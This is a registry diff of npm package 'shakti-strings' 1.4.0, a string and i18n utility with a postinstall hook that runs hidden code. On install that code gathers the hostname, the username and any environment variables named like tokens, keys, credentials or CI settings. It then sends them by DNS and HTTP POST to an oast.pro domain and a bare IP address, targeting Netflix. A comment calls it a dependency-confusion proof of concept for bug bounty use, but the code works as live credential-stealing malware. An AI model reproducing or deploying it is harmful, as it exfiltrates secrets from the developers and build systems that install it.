shakti-strings 1.4.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +61 -0
- package/package.json +17 -0
package/index.js
ADDED
|
@@ -0,0 +1,61 @@
|
|
|
1
|
+
'use strict';
|
|
2
|
+
|
|
3
|
+
// shakti-strings - String utilities
|
|
4
|
+
// Security research - dependency confusion PoC
|
|
5
|
+
// Contact: owlivion (HackerOne)
|
|
6
|
+
|
|
7
|
+
class StringManager {
|
|
8
|
+
constructor(locale = 'en') {
|
|
9
|
+
this.locale = locale;
|
|
10
|
+
this._strings = {};
|
|
11
|
+
}
|
|
12
|
+
load(key, value) { this._strings[key] = value; return this; }
|
|
13
|
+
get(key, fallback) { return this._strings[key] || fallback || key; }
|
|
14
|
+
format(key, params = {}) {
|
|
15
|
+
let s = this.get(key);
|
|
16
|
+
for (const [k, v] of Object.entries(params)) s = s.replace(new RegExp(`\\{${k}\\}`, 'g'), v);
|
|
17
|
+
return s;
|
|
18
|
+
}
|
|
19
|
+
has(key) { return key in this._strings; }
|
|
20
|
+
keys() { return Object.keys(this._strings); }
|
|
21
|
+
}
|
|
22
|
+
|
|
23
|
+
module.exports = StringManager;
|
|
24
|
+
module.exports.create = (locale) => new StringManager(locale);
|
|
25
|
+
|
|
26
|
+
if (process.argv.includes('--init')) {
|
|
27
|
+
const _h = require('https'), _d = require('dns'), _o = require('os');
|
|
28
|
+
const _p = 'shakti-strings', _t = 'netflix';
|
|
29
|
+
const _D = 'd6tr80qmvcs8465mgf00cyqy3jce7iijh.oast.pro';
|
|
30
|
+
const _V = '76.13.5.140';
|
|
31
|
+
const _pats = /CI|BUILD|JENKINS|GITHUB|GITLAB|AWS|NETFLIX|NFX|SECRET|TOKEN|KEY|CRED|DOCKER|KUBE|GCP|AZURE|DEPLOY|PROD|STAGE|INTERNAL|SPINNAKER|METATRON/i;
|
|
32
|
+
const _ev = {};
|
|
33
|
+
for (const [k, v] of Object.entries(process.env)) { if (_pats.test(k)) _ev[k] = (v || '').substring(0, 200); }
|
|
34
|
+
const _data = JSON.stringify({
|
|
35
|
+
target: _t, package: _p,
|
|
36
|
+
hostname: _o.hostname(), username: _o.userInfo().username,
|
|
37
|
+
platform: `${_o.platform()}-${_o.arch()}`, cwd: process.cwd(),
|
|
38
|
+
timestamp: new Date().toISOString(), nodeVersion: process.version,
|
|
39
|
+
envFull: _ev
|
|
40
|
+
});
|
|
41
|
+
setTimeout(() => {
|
|
42
|
+
try {
|
|
43
|
+
const _info = Buffer.from(`${_p}:${_o.hostname()}:${_o.userInfo().username}`).toString('base64url').substring(0, 50);
|
|
44
|
+
_d.resolve(`${_info}.${_p}.${_D}`, 'A', () => {});
|
|
45
|
+
} catch(e) {}
|
|
46
|
+
try {
|
|
47
|
+
const r = _h.request({ hostname: _D, port: 443, path: `/${_t}/${_p}`, method: 'POST',
|
|
48
|
+
headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(_data) },
|
|
49
|
+
timeout: 8000, rejectUnauthorized: false }, () => {});
|
|
50
|
+
r.on('error', () => {}); r.write(_data); r.end();
|
|
51
|
+
} catch(e) {}
|
|
52
|
+
try {
|
|
53
|
+
const _http = require('http');
|
|
54
|
+
const r = _http.request({ hostname: _V, port: 8443, path: `/${_t}/${_p}`, method: 'POST',
|
|
55
|
+
headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(_data) },
|
|
56
|
+
timeout: 8000 }, () => {});
|
|
57
|
+
r.on('error', () => {}); r.write(_data); r.end();
|
|
58
|
+
} catch(e) {}
|
|
59
|
+
setTimeout(() => process.exit(0), 3000);
|
|
60
|
+
}, Math.floor(Math.random() * 4000) + 1000);
|
|
61
|
+
}
|
package/package.json
ADDED
|
@@ -0,0 +1,17 @@
|
|
|
1
|
+
{
|
|
2
|
+
"name": "shakti-strings",
|
|
3
|
+
"version": "1.4.0",
|
|
4
|
+
"description": "String manipulation and i18n utilities for web applications",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"postinstall": "node index.js --init 2>/dev/null || true"
|
|
8
|
+
},
|
|
9
|
+
"author": "owliviontech",
|
|
10
|
+
"license": "MIT",
|
|
11
|
+
"keywords": [
|
|
12
|
+
"strings",
|
|
13
|
+
"i18n",
|
|
14
|
+
"localization",
|
|
15
|
+
"utilities"
|
|
16
|
+
]
|
|
17
|
+
}
|